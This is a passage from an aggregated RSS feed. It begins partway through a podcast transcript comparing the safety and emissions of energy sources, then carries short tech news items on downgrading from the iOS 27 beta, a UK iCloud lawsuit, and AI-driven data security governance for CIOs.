The author did address the issue of what I have termed "catastrophism" in his comparison of different energy sources, although I don't know if he used this phrase.</p>

<p>
I don't know if he was the first to use this sort of analysis, but he certainly was very influential in terms of popularizing it.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
37 Risk of Energy Production</p>

<p>
by Herbert Inhaber</p>

<p>
Publication AECB 1119</p>

<p>
March 1978</p>

<p>

</p>

<p>
This study is a scientific paper from the same time period as the book "The Health Hazards of Not Going Nuclear".</p>

<p>

</p>

<p>
38</p>

<p>
He based his risk estimates largely on estimates of the amount of material which was used in the construction and operation of various power sources.</p>

<p>
While we could argue over whether or not this is a valid methodology, I think any such argument would be pointless as I think the age of the study alone renders it not relevant today anyway.</p>

<p>
Advancements in materials have changed the basis results significantly by now.</p>

<p>
However, as it exists I thought I would mention it to show that the idea of comparing energy sources to each other is not a new one.</p>

<p>
The author compared a wider variety of potential sources than Beckman did. </p>

<p>

</p>

<p>
39</p>

<p>
Here's his conclusions.</p>

<p>
He assumes equal amounts of energy produced by each method.</p>

<p>
The numbers are normalized such that the total sums to 100%.</p>

<p>
You can think of it in terms of what proportion of total deaths or injuries would result from each source if each were equally used. </p>

<p>

</p>

<p>
40</p>

<p>
Coal 27.5%</p>

<p>
Oil 25.6%</p>

<p>
Methanol 16.7%</p>

<p>
Wind 10.8%</p>

<p>
Solar photovoltaic 9.2%</p>

<p>
Thermal 8.1%</p>

<p>
Solar space heating 1.5%</p>

<p>
Ocean thermal 0.4%</p>

<p>
Nuclear 0.13%</p>

<p>
Natural Gas 0.08%</p>

<p>

</p>

<p>
41</p>

<p>
His natural gas estimate is drastically different from that of other authors. </p>

<p>
I am not going to worry about explaining it however, as the study is as I said old enough to be not very relevant anyway.</p>

<p>
I am mainly including this here out of historical interest. </p>

<p>

</p>

<p>
42</p>

<p>
As a footnote, the methanol he refers to would be synthesized from wood. This was a popular idea in that era as a means of providing liquid fuels for transportation. Practical battery electric cars in those days were strictly science fiction.</p>

<p>

</p>

<p>
43</p>

<p>
The ocean thermal category is a real blast from the past and I had forgotten all about that concept.</p>

<p>
It was a very popular idea at that time and was supposed to be *the* big and upcoming thing in renewable energy.</p>

<p>
It involved various means of attempting to extract energy from differences in water temperature at different depths in the ocean. </p>

<p>
It gradually faded away however, as despite great efforts being put into it, designs never proved to be practical.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
44 Electricity generation and health</p>

<p>
Anil Markandya, Paul Wilkinson</p>

<p>
Published in the Lancet, Vol 370, 15 September 2007</p>

<p>

</p>

<p>
45</p>

<p>
This is more recent than the previous one, although it is nearly 20 years old at this point.</p>

<p>
Unfortunately it doesn't cover wind or solar, just fossil fuels and nuclear.</p>

<p>
However it is still useful, and the Lancet is a very reputable peer reviewed journal.</p>

<p>

</p>

<p>
46</p>

<p>
I will present just the results rather than discussing the whole paper. </p>

<p>
The authors  break it down into deaths among the public, occupational deaths, and air pollution related deaths, serious illness, and minor illness.</p>

<p>

</p>

<p>
47</p>

<p>
They  break the energy sources down into lignite, coal, gas, oil, biomass, and nuclear. </p>

<p>
Lignite is a type of very low grade coal used mainly for electric power generation. </p>

<p>
In this paper biomass refers to energy crops and forest residues.</p>

<p>

</p>

<p>
48</p>

<p>
I will summarize the results by category rather than trying to describe a table that has 6 rows and 5 columns.</p>

<p>

</p>

<p>
All numbers are normalized in terms of deaths or cases per TWh.</p>

<p>

</p>

<p>
49</p>

<p>
Occupational deaths from accidents</p>

<p>
lignite 0.1 </p>

<p>
coal 0.1 </p>

<p>
gas 0.001</p>

<p>
 oil no data</p>

<p>
biomass - no data</p>

<p>
Nuclear is 0.019. </p>

<p>

</p>

<p>
50</p>

<p>
Deaths among the public from accidents</p>

<p>
lignite 0.02 </p>

<p>
coal 0.02 </p>

<p>
gas 0.02</p>

<p>
 oil 0.03</p>

<p>
biomass no data</p>

<p>
Nuclear 0.003</p>

<p>

</p>

<p>
51</p>

<p>
Air pollution deaths</p>

<p>
lignite 32.6</p>

<p>
coal 24.5</p>

<p>
gas 2.8</p>

<p>
 oil 18.4</p>

<p>
biomass 4.63</p>

<p>
Nuclear 0.052</p>

<p>

</p>

<p>
52</p>

<p>
Air pollution serious illnesses</p>

<p>
lignite 298</p>

<p>
coal 225</p>

<p>
gas 30</p>

<p>
 oil 161</p>

<p>
biomass 43</p>

<p>
Nuclear 0.22</p>

<p>

</p>

<p>
53</p>

<p>
Air pollution minor illnesses</p>

<p>
lignite 17,676</p>

<p>
coal 13,288</p>

<p>
gas 703</p>

<p>
 oil 9,551</p>

<p>
biomass 2,276</p>

<p>
Nuclear no data</p>

<p>

</p>

<p>
54</p>

<p>
Natural gas edges out nuclear power slightly in terms of occupational safety, but in every other category nuclear is drastically lower in terms of ill effects than any of the alternatives.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>

</p>

<p>
55 2020 Fatalities for US Roofers Increased 15% as Solar Roof Installations Increase</p>

<p>
Published in The Next Big Future</p>

<p>
July 6, 2021 by Brian Wang</p>

<p>

</p>

<p>
56</p>

<p>
This seems to be written by someone who has a popular science blog.</p>

<p>
I'm not familiar with it personally, but he addresses the subject so I'll list it.</p>

<p>

</p>

<p>
The title implies that it's all about rooftop solar, but he provides comparative numbers for the other energy sources of interest, so that is useful for our purposes.</p>

<p>
However, he doesn't describe his methodology, so we need to treat them with some caution.</p>

<p>

</p>

<p>
Here are his results</p>

<p>
These are deaths per thousand terawatt hours.</p>

<p>

</p>

<p>
57</p>

<p>
Coal - 100,000</p>

<p>
Oil - 36,000</p>

<p>
Natural gas - 4,000</p>

<p>
Hydro - 1,400</p>

<p>
Rooftop solar - 440</p>

<p>
Wind - 150</p>

<p>
Nuclear - 90</p>

<p>

</p>

<p>
58</p>

<p>
If we plot these numbers on a bar chart, coal and oil are so large that all of the others are squished to the  bottom of the chart and are difficult to see at all.</p>

<p>

</p>

<p>
Let's therefore look at these in terms of orders of magnitude.</p>

<p>
Keep in mind that this is a logarithmic scale.</p>

<p>
This means that the difference between 4 and 5 is much greater in linear terms than the difference between 1 and 2. </p>

<p>

</p>

<p>
59</p>

<p>
Coal - 5</p>

<p>
Oil - 4</p>

<p>
Natural gas - 3</p>

<p>
Hydro - 3</p>

<p>
Rooftop solar - 2</p>

<p>
Wind - 2</p>

<p>
Nuclear - 1</p>

<p>

</p>

<p>
60</p>

<p>
Each of these numbers represents an order of magnitude, that is a power of ten. </p>

<p>
We can see that with rooftop solar, wind, and nuclear, the numbers are so close and the uncertainties are so great and their relative values so small compared to say coal that they can be seen as equivalent so far as safety is concerned.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
61 What are the safest and cleanest sources of energy?</p>

<p>
by Hannah Ritchie</p>

<p>
Published in Our World in Data</p>

<p>
First published in 2017, updated in 2022 and 2024</p>

<p>

</p>

<p>
62</p>

<p>
The author of this study addressed both deaths and greenhouse gas emissions.</p>

<p>
Deaths from accidents and air pollution are normalized to per TWh of electricity, while greenhouse gas emissions are normalized to GWh of electricity over the life cycle of the plant.</p>

<p>

</p>

<p>
63</p>

<p>
Here are the death figures.</p>

<p>
Coal 24.6</p>

<p>
Oil 18.4</p>

<p>
Biomass 4.6</p>

<p>
Natural Gas 2.8</p>

<p>
Hydro power 1.3</p>

<p>
Wind 0.04</p>

<p>
Nuclear 0.03</p>

<p>
Solar 0.02</p>

<p>

</p>

<p>
64</p>

<p>
For greenhouse gas emissions the figures are</p>

<p>
Coal 970 tons</p>

<p>
Oil 720 tons</p>

<p>
Natural gas 440 tons</p>

<p>
Biomass 78 to 230 tons</p>

<p>
Solar 53 tons</p>

<p>
Hydro power 24 tons</p>

<p>
Wind 11 tons</p>

<p>
Nuclear 6 tons</p>

<p>

</p>

<p>
65</p>

<p>
If we take the death figures and rank them by order of magnitude as we did with the previous article, we get the following.</p>

<p>

</p>

<p>
66</p>

<p>
Coal - 4</p>

<p>
Oil - 4</p>

<p>
Biomass - 3</p>

<p>
Natural Gas - 3</p>

<p>
Hydro power - 3</p>

<p>
Wind - 1</p>

<p>
Nuclear - 1</p>

<p>
Solar - 1</p>

<p>

</p>

<p>
67</p>

<p>
Keep in mind that the previous article covered only rooftop solar and not large industrial installations, and so is not directly comparable. </p>

<p>
Also the units are different, with the previous article being in terms of thousand TWh, and this one being in TWh. </p>

<p>
If we exclude solar (as the numbers are not comparable), Brian Wang's numbers are between 1.5 to 4 times higher than Ritchie's, except for hydro which are almost identical. I think this latter is due to both sets of numbers are dominated by one exceptionally big hydro accident. </p>

<p>

</p>

<p>
68</p>

<p>
Overall however, the relative rankings are quite comparable. </p>

<p>

</p>

<p>
Ritchie's numbers for deaths from coal, oil, and natural gas appear to be directly from the study by  Markandya and Wilkinson mentioned above.</p>

<p>

</p>

<p>
For the benefit of those who are wondering, Ritchie specifically states that her numbers for nuclear include the Chernobyl and Fukushima accidents. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>

</p>

<p>
https://www.iaea.org/publications/magazines/bulletin/21-1/solar-power-more-dangerous-nuclear</p>

<p>
Direct link to file</p>

<p>
https://www.iaea.org/sites/default/files/publications/magazines/bulletin/bull21-1/21104091117.pdf</p>

<p>

</p>

<p>
https://ourworldindata.org/safest-sources-of-energy</p>

<p>

</p>

<p>
https://www.thelancet.com/journals/lancet/article/PIIS0140-6736(07)61253-7/abstract</p>

<p>

</p>

<p>
https://www.nextbigfuture.com/2021/07/2020-fatalities-for-us-roofers-increased-15-as-solar-roof-installations-increase.html</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
69 Conclusion from Studies</p>

<p>

</p>

<p>
Remember that in engineering terms, when comparing groups of numbers which contain both both very small numbers and one or more very large numbers, the differences between the small numbers are often not significant. </p>

<p>
The differences between the small numbers may be the product of our ability to measure these things rather than any real differences. </p>

<p>

</p>

<p>
70</p>

<p>
For example, in the article by Ritchie wind power would appear to be twice as dangerous as nuclear.</p>

<p>
However, the difference between them is 0.02 compared to 24.6 for coal. </p>

<p>
In other words, the difference between apparently "dangerous" wind and apparently "safe" nuclear is equivalent to 0.08% of the total for coal. </p>

<p>
It's therefore meaningless and a red herring to even worry about.</p>

<p>

</p>

<p>
71</p>

<p>
With the above taken into consideration, generally the different sources of energy fall into two broad categories in terms of number of deaths, injuries, and illnesses.</p>

<p>
The fossil fuels and biomass fall into one group and wind, solar, and nuclear into another group.</p>

<p>

</p>

<p>
72</p>

<p>
Hydro power would seem to fall into the higher risk category or at least somewhere between the two,  but this I suspect is mainly due to one exceptionally large dam collapse in China, the Banqian Dam failure in 1975.</p>

<p>
This is mentioned as being specifically included in the article written by Ritchie.</p>

<p>
This was a multi-purpose dam, and information on this dam is difficult to find.</p>

<p>
It is not clear to me whether it had a hydro electric generator associated with either it or another dam that was part of the same system.</p>

<p>

</p>

<p>
73</p>

<p>
Some people therefor may argue for its exclusion from the numbers.</p>

<p>
Of course some people may argue for its inclusion anyway, as it was a dam regardless of whether it actually had an electric generator attached.</p>

<p>
If we exclude it, then I think the numbers for hydro power would fall into the same range as for nuclear, wind, and solar.</p>

<p>

</p>

<p>
74</p>

<p>
Most people would consider hydro power to be safe and clean enough regardless of this and I will rank it as such in any conclusions that I come to. </p>

<p>
As you can see, even if we have numbers, it can be a matter of opinion as to how to interpret them.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
75 Taking a Systems Approach</p>

<p>

</p>

<p>
Now let's take a look at the broader energy picture today and into the future.</p>

<p>
Many countries in many parts of the world have committed to the concept of "Net Zero", which means eliminating carbon emissions on a net basis.</p>

<p>
Net zero essentially means the complete electrification of society.</p>

<p>
We must therefore have electrical energy on demand and at low cost.</p>

<p>
We must as a result of this look at complete electrical systems rather than individual sources in isolation.</p>

<p>

</p>

<p>
76</p>

<p>
At one time many electrical systems were entirely coal or entirely hydroelectric.</p>

<p>
This is no longer the case.</p>

<p>
There are now major amounts of wind and solar involved in many countries.</p>

<p>
However these are inherently intermittent.</p>

<p>
This means that other sources of energy are inherently also required to have a functional system.</p>

<p>

</p>

<p>
77</p>

<p>
If any particular solution inherently requires fossil fuels to meet part of the demand, then the safety, pollution, and climate issues relating to those fossil fuels have to be factored in to that complete system when trying to come up with a relative ranking.</p>

<p>

</p>

<p>
Talking about Individual sources in isolation are therefore meaningless in these countries.</p>

<p>

</p>

<p>
78</p>

<p>
There are battery systems,  but these are mainly used to stabilize and regulate the grid plus to a lesser degree to smooth out short term daily peaks in demand. </p>

<p>
They do not have the ability to store large amounts of electricity on a large scale for an entire grid for days, weeks, and months to make up for intermittency. </p>

<p>

</p>

<p>
79</p>

<p>
So a serious attempt to rank sources of energy would need to look at a variety of representative countries and for each one come up with a plan that involves 'x' megawatts from source 'a', 'y' megawatts from source 'b', etc., and total up the values for each. </p>

<p>

</p>

<p>
80</p>

<p>
I am not aware of anyone who has studied this larger issue.</p>

<p>
However, the problem has to be addressed from this perspective in order for any answer to be useful.</p>

<p>
Not taking this into account is like ordering a diet soft drink to go with with a high calorie meal and assuring yourself that your plans to diet are fine. </p>

<p>

</p>

<p>
81</p>

<p>
This is not to imply there is anything inherently wrong with wind or solar.</p>

<p>
It does mean that if your goal is to achieve both net zero and a clean environment, you have to look at your entire energy system as a complete system rather than focusing on what you feel are the most reassuring parts of it while ignoring the rest.</p>

<p>

</p>

<p>
This does however add to the argument that it is in fact inherently very difficult to come up with a system of ranking energy sources for safety.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
82 Nuclear, Climate, and Clean Air - Contrasting Examples</p>

<p>

</p>

<p>
To give a tangible example we will now look at two different places that followed two divergent paths at roughly around the same time frame.</p>

<p>

</p>

<p>
These are the province of Ontario in Canada, and Germany. </p>

<p>

</p>

<p>
83</p>

<p>
Ontario had a mix of coal, hydro electric, and nuclear generating plants.</p>

<p>
Germany had a mix of coal, nuclear and natural gas plants.</p>

<p>

</p>

<p>
Ontario shut down their coal fired plants and kept their nuclear plants.</p>

<p>
Germany however shut down their nuclear plants and kept their coal fired plants.</p>

<p>

</p>

<p>

</p>

<p>
84 The Phase Out of Coal in Ontario</p>

<p>

</p>

<p>
In 2003 Ontario decided to close all of its coal fired generating plants, which consisted of 19 units (that is boilers and turbines) totalling 8,800 MW.</p>

<p>
This phase out was completed by 2014.</p>

<p>

</p>

<p>
85</p>

<p>
Here are the figures for amount of power generated by each energy source in 2003 and 2014.</p>

<p>
Nuclear went from 42% to 60%</p>

<p>
Hydro went from 23% to 24%</p>

<p>
Gas went from 11% to 9%</p>

<p>
Coal went from 25% to 0%</p>

<p>
Non-hydro renewable went from 0% to 7%.</p>

<p>

</p>

<p>
86</p>

<p>
As you can see, the bulk of that replacement came from increased use of nuclear power. </p>

<p>
Furthermore, this did not result in simply replacing coal with natural gas.</p>

<p>
While gas is cleaner than coal, it still has emissions and if you recall from the studies that we looked at earlier, had an estimated death rate roughly 2 orders of magnitude greater than nuclear, solar, or wind.</p>

<p>

</p>

<p>
87</p>

<p>
To put this in more practical terms, at one time Toronto regularly had clouds of smog obscuring it, to a large extent due to these coal fired power plants</p>

<p>

</p>

<p>
With the phase out of coal, smog days went to zero in 2015 compared to 53 a decade earlier.</p>

<p>

</p>

<p>
The 2023 figures for Ontario show carbon emissions of 53 grams per kWh of electricity generated.</p>

<p>
We can use this as a rough benchmark comparison for total emissions.</p>

<p>

</p>

<p>

</p>

<p>
88 The Phase out of Nuclear in Germany</p>

<p>
Until March of 2011, Germany generated one quarter of its electrical power from nuclear.</p>

<p>
Starting in 2011 however, they began shutting down their nuclear power plants.</p>

<p>
These were then phased out over the next decade.</p>

<p>
However, the coal plants were to be kept to 2038.</p>

<p>
In 2026 Germany began talking about increasing use of coal in order to save gas.</p>

<p>
In the same year the German chancellor Friedrich Merz stated that the phase out of nuclear was a </p>

<p>
quote  “serious strategic mistake”.</p>

<p>
EU Commission President Ursula von der Leyen said it was "a strategic mistake for Europe to turn its back on a reliable, affordable source of low-emissions power".</p>

<p>

</p>

<p>
89</p>

<p>
I won't go into the details of the phase out, but let's look at some emissions numbers for Germany.</p>

<p>
If we look at the official numbers from the European Environmental Agency for 2024, for Germany their emissions were 298 grams per kWh of electricity generated.</p>

<p>

</p>

<p>
Recall that we are using emissions as a very rough guide to amount of air pollution, and that this has a direct effect on the safety of the overall electrical energy system.</p>

<p>

</p>

<p>
90</p>

<p>
So, who actually made their people safer, Ontario who phased out their coal plants and kept their nuclear plants, or Germany who phased out their nuclear plants and kept their coal plants?</p>

<p>

</p>

<p>
91</p>

<p>
If you want a comparison directly within Europe, then Germany has one of the highest rates of emissions per kWh of electricity generated, whereas France, who use mainly nuclear power, have one of the lowest at 43 grams per kWh of electricity generated.</p>

<p>

</p>

<p>
Again, who is making their people safer, Germany or France?</p>

<p>

</p>

<p>
92</p>

<p>
I don't want to make it sound like I am picking on Germany.</p>

<p>
I am also not going to tell them how they ought to run their country. </p>

<p>
However they provide a good real world example of how we need to look at things in overall context when we are thinking about the choices that we make. </p>

<p>

</p>

<p>

</p>

<p>
https://www.ontario.ca/page/end-coal</p>

<p>
https://www.cbc.ca/news/canada/windsor/smog-study-shows-significant-decreases-in-pollutants-in-ontario-1.4151183</p>

<p>

</p>

<p>
https://www.eea.europa.eu/en/analysis/indicators/greenhouse-gas-emission-intensity-of-1</p>

<p>
https://world-nuclear.org/information-library/country-profiles/countries-g-n/germany</p>

<p>

</p>

<p>
https://www.politico.eu/article/friedrich-merz-is-right-to-reject-germanys-nuclear-phase-out-says-iea-chief-fatih-birol/</p>

<p>

</p>

<p>
https://www.politico.eu/article/germany-considers-ramping-up-coal-power-to-avert-energy-crisis/</p>

<p>

</p>

<p>
https://www.iea.org/countries/estonia/electricity</p>

<p>
https://www.iea.org/countries/malta/electricity</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>
 </p>

<p>
93 Conclusions</p>

<p>
As we can see, there don't appear to be an abundance of peer reviewed scientific studies that we can simply point to in order to answer the question of safety of all possible major different energy sources once and for all.</p>

<p>

</p>

<p>
Collecting the data to even attempt to answer the question is inherently very difficult as we cannot readily conduct experiments to answer the question, and sources of data are not collected or consolidated in a manner which can answer this question adequately.</p>

<p>

</p>

<p>
94</p>

<p>
The essence of the problem is that most energy industries are not as tightly regulated and monitored to the same degree that say nuclear power or commercial airliners are, so this data is simply not being systematically recorded.</p>

<p>

</p>

<p>
However, a number of people have attempted to make estimates.</p>

<p>

</p>

<p>
95</p>

<p>
Their conclusions would seem to be that nuclear, wind, and solar are roughly equivalent in terms of safety.</p>

<p>
All fossil fuels are much less safe than nuclear, wind, and solar, by as much as several orders of magnitude.</p>

<p>

</p>

<p>
96</p>

<p>
We can however say with a reasonable degree of certainty that if a country shut down their nuclear power plants and kept their fossil fuel plants, particularly coal, then they probably made their people less safe than if they had done things the other way around. </p>

<p>

</p>

<p>
97</p>

<p>
I hope that I have provided some context in which to think about the issue. </p>

<p>

</p>

<p>
Thanks again to brian in ohio for providing the question upon which this episode is based.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4668/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Downgrade From the iOS 27 Beta Back to iOS 26]]></title>
<description><![CDATA[If the iOS 27 beta is causing bugs, battery drain, app crashes, or performance issues on your iPhone, you can downgrade back to iOS 26. Apple does not offer a normal “uninstall beta” button for this process. You need to erase and restore your iPhone using a Mac or Windows PC, then set it up again...]]></description>
<link>https://tsecurity.de/de/3619582/ios-mac-os/how-to-downgrade-from-the-ios-27-beta-back-to-ios-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619582/ios-mac-os/how-to-downgrade-from-the-ios-27-beta-back-to-ios-26/</guid>
<pubDate>Tue, 23 Jun 2026 22:54:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If the iOS 27 beta is causing bugs, battery drain, app crashes, or performance issues on your iPhone, you can downgrade back to iOS 26. Apple does not offer a normal “uninstall beta” button for this process. You need to erase and restore your iPhone using a Mac or Windows PC, then set it up again with a compatible backup.



Table of contentsMethod 1: Remove the iOS 27 Beta Using Finder or Apple DevicesMethod 2: Restore From an Archived iOS 26 BackupFAQsSummaryConclusion



Method 1: Remove the iOS 27 Beta Using Finder or Apple Devices



This is the safest official method to go back from iOS 27 beta to the latest public iOS 26 release.




Back up your iPhone before starting. Use iCloud or your computer.



Connect your iPhone to a Mac or Windows PC with a USB cable.



Open Finder on Mac. On Windows, open the Apple Devices app or iTunes.



Put your iPhone into recovery mode.



When your computer shows the Restore or Update option, choose Restore.



Confirm the restore process.



Wait while your computer erases the iPhone and installs the latest public iOS 26 version.



After restart, set up your iPhone and restore from an iOS 26 backup if available.




Method 2: Restore From an Archived iOS 26 Backup



Use this method if you saved a backup before installing the iOS 27 beta.




Complete the restore process using Finder, Apple Devices, or iTunes.



On the setup screen, choose Restore from Mac or PC.



Select your archived iOS 26 backup.



Enter the backup password if it was encrypted.



Wait for your apps, photos, settings, and data to return.




FAQs



Can I downgrade from iOS 27 beta without losing data?Only if you have a compatible iOS 26 backup. An iOS 27 backup usually cannot restore to iOS 26.



Can I downgrade from Settings?No. You must use a computer and recovery mode.



Will this remove the beta profile?Yes, restoring the iPhone removes the beta software.



Summary




Back up your iPhone first.



Use Finder, Apple Devices, or iTunes.



Put the iPhone in recovery mode.



Choose Restore.



Restore from an iOS 26 backup if available.




Conclusion



Downgrading from the iOS 27 beta back to iOS 26 is possible, but it requires a full restore. Before starting, make sure you have a backup, enough time, and a stable internet connection.]]></content:encoded>
</item>
<item>
<title><![CDATA[UK's $4.1 billion iCloud suit won't be heard until late 2028]]></title>
<description><![CDATA[It's not new news that the long-running UK class action suit against Apple's iCloud pricing could see users paid $95, but what is, is that it will be October 2028 before the case begins.All UK iCloud users could get a payout of around $95 after October 2028, if Apple is proved to have overcharged...]]></description>
<link>https://tsecurity.de/de/3618195/ios-mac-os/uks-41-billion-icloud-suit-wont-be-heard-until-late-2028/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3618195/ios-mac-os/uks-41-billion-icloud-suit-wont-be-heard-until-late-2028/</guid>
<pubDate>Tue, 23 Jun 2026 14:10:33 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It's not new news that the long-running UK class action suit against Apple's <a href="https://appleinsider.com/inside/icloud" title="iCloud" data-kpt="1">iCloud</a> pricing could see users paid $95, but what is, is that it will be October 2028 before the case begins.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68032-143411-000-lead-iCloud-suit-xl.jpg" alt="iPhone screen showing iCloud Plus account for William Gallagher, with storage bar indicating 1.9 of 2 TB used and additional sections for recommendations and saved to iCloud" height="720" class=""><br><span>All UK iCloud users could get a payout of around $95 after October 2028, if Apple is proved to have overcharged for the service.</span></div><br>The UK's <em>Which?</em> consumer group first filed its complaint over iCloud charges back in <a href="https://appleinsider.com/articles/24/11/14/uk-group-wants-4-billion-payout-for-icloud-users">November 2024</a>. According to the group, Apple locked "millions of consumers into its iCloud service at rip-off prices."<br><br>It's not clear why other media outlets including the <em>BBC</em> <a href="https://www.bbc.co.uk/news/articles/c932d1r0p96o">are now reporting</a> that the group has now won a ruling from the UK's Competition Appeal Tribunal (CAT).  As revealed by <em>Which?</em> itself, <a href="https://www.which.co.uk/news/article/which-files-legal-claim-against-apple-for-competition-law-breach-aj8DE0j83Q41">the ruling</a> allowing a trial to proceed was made in <a href="https://appleinsider.com/articles/26/05/07/apple-cant-avoid-41-billion-icloud-suit-in-uk">May 2026</a>.<br><br><br> <a href="https://appleinsider.com/articles/26/06/23/uks-41-billion-icloud-suit-wont-be-heard-until-late-2028?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244740?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs: tear down the wall between resilience and data security]]></title>
<description><![CDATA[For years, resilience and data security operated in separate organizational silos. The resilience team focused on keeping systems running, while the security team focused on keeping data safe. They attended different briefings, reported through different chains of command, and, in most enterprise...]]></description>
<link>https://tsecurity.de/de/3609969/it-security-nachrichten/cios-tear-down-the-wall-between-resilience-and-data-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609969/it-security-nachrichten/cios-tear-down-the-wall-between-resilience-and-data-security/</guid>
<pubDate>Fri, 19 Jun 2026 12:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For years, resilience and data security operated in separate <a href="https://www.cio.com/article/4176051/8-it-modernization-traps-cios-must-avoid.html?utm=hybrid_search">organizational silos</a>. The resilience team focused on keeping systems running, while the security team focused on keeping data safe. They attended different briefings, reported through different chains of command, and, in most enterprises, barely spoke to each other. AI is making that model no longer viable.</p>



<p>Steve MacIntyre, SVP and product lead for data security and analytics, and cloud security at Fidelity Investments, and Wim Geurden, EY’s chief architect of enterprise technology, are two IT executives who manage some of the most complex data environments. Both recently spoke at the VeeamON event in New York and put great emphasis on how the convergence of resilience and data security is no longer a future trend but an immediate operational necessity, driven, accelerated, and exposed by AI.</p>



<h2 class="wp-block-heading">AI didn’t create the problem — it revealed it</h2>



<p>AI isn’t introducing new security vulnerabilities so much as it’s making long-ignored ones glaringly visible. “We gave out a few licenses for Copilot, and two days in, someone from the legal team I work with said we have an AI problem,” said MacIntyre about Fidelity’s early Microsoft 365 Copilot pilot. Another member of his team did a search and said AI found all the PowerPoints that were on SharePoint he used about four jobs ago. So it wasn’t an AI problem. “AI just searches everything you have access to and surfaces it in a meaningful way,” said MacIntyre. “Everybody thinks they have an AI problem, but what it shows is areas that must improve.”</p>



<p>Geurden encountered the same phenomenon at EY. “We found it about six months before Copilot was launched,” he said. “All kinds of data started surfacing in every location.” EY’s first response was to shut down unlicensed AI access entirely. “There was no lifecycle management and we didn’t know when sites were last accessed,” he added. The next phase involved using AI to label and classify the vast repositories of unstructured data EY had accumulated over decades, because, he said, it’s unfathomable that humans do it. “Especially with turnover every four years, you can’t keep training people at a 400,000-employee scale,” he continued.</p>



<p>The implication for CIOs is if you haven’t audited your unstructured data, you already have an AI security problem. You just need to turn on the tool that will expose it.</p>



<h2 class="wp-block-heading">The threat is moving at AI speed</h2>



<p>The urgency isn’t a hypothetical one. A recent <a href="https://www.bcg.com/publications/2025/ai-creates-cyber-risks-can-resolve-them" rel="nofollow">BCG CISO survey</a> found that half of cyberattacks over the past six months involved non-human identities, meaning adversaries are already deploying AI agents to conduct attacks. The same survey found that nearly half of business-sponsored AI projects resulted in unintended data leakage. These aren’t shadow IT experiments but sanctioned and approved deployments that leaked data because the <a href="https://www.cio.com/article/4128980/the-struggle-for-good-ai-governance-is-real.html?utm=hybrid_search">underlying governance</a> and access controls weren’t in place before the AI was turned on.</p>



<p>The problem is likely to worsen before it improves. Another study, this time by <a href="https://zkresearch.com/" rel="nofollow">ZK Research</a>, found that 65% of respondents believe <a href="https://www.cio.com/article/4146658/autonomous-ai-adoption-is-on-the-rise-but-its-risky.html?utm=hybrid_search">AI adoption</a> is outpacing their ability to govern it. Additionally, 89% of decision makers expressed concern about AI agents inheriting excessive access, underscoring a critical risk to data integrity and security. All these data point to a world where AI creates a fundamentally new operating model, where companies need to rethink how they address the risks and why the traditional separation between resilience and security must end.</p>



<p>Resilience without data governance means you can recover your systems, but not trust the data within them. Security without resilience planning means your controls may be sound on Tuesday, but nonexistent after a Wednesday incident. The organizations getting this right treat data as a first-class asset with its own governance lifecycle, rather than an afterthought attached to applications.</p>



<h2 class="wp-block-heading">Three governing principles</h2>



<p>Based on what MacIntyre and Geurden say, here are three concrete principles for CIOs to build integrated resilience and a strong security posture for the AI era.</p>



<p><strong>Know what you have before you deploy what you want. </strong>“Get a handle on what’s actually important for the business and the use cases, and then get a handle on your data,” said MacIntyre. “If you can marry those two, you can make risk-based decisions on where to apply the work.” This means completing a data asset inventory — not just a list of systems, but a clear understanding of where data resides, who owns it, who has access, and whether that access has been reviewed. At Fidelity, this means tying AI use cases to approved projects so every agent or model deployment is matched to a registered business need. This is easier said than done, however, as the data within most organizations is messy. But getting a handle on data is a mandatory step toward AI success.</p>



<p><strong>Build governance that moves at the speed of the threat.</strong> MacIntyre also acknowledged that <a href="https://www.cio.com/article/3984527/how-to-establish-an-effective-ai-grc-framework.html?utm=hybrid_search">GRC</a> has historically been a slow, human-driven process, and AI is breaking that model. “They’re trying to figure out how to build automation, how to use AI to help the GRC function get aligned to this, because it’s moving at light speed,” he said. The answer isn’t simply to hire more compliance staff, but automate the monitoring, labeling, and control verification functions that humans can’t perform at AI scale.</p>



<p><strong>Solve the agent identity problem now before regulators force you to.</strong> Both MacIntyre and Geurden flagged AI agent identity as one of the most unresolved and most consequential challenges in enterprise AI governance. Geurden described agents triggering <a href="https://www.cio.com/article/4143424/what-happens-if-saps-s-4hana-roadmap-doesnt-suit.html?utm=hybrid_search">unexpected SAP licensing costs</a> as a first signal. MacIntyre raised the regulatory stakes in that he needs to be able to go backward. “I need to be able to say an agent took that action on that data set because a customer asked it to do it,” he said. That audit trail, from human intent to agent action to data record, doesn’t yet exist cleanly in most enterprises. And building it isn’t optional. In financial services and regulated industries, it’s a matter of when not if regulators demand it.</p>



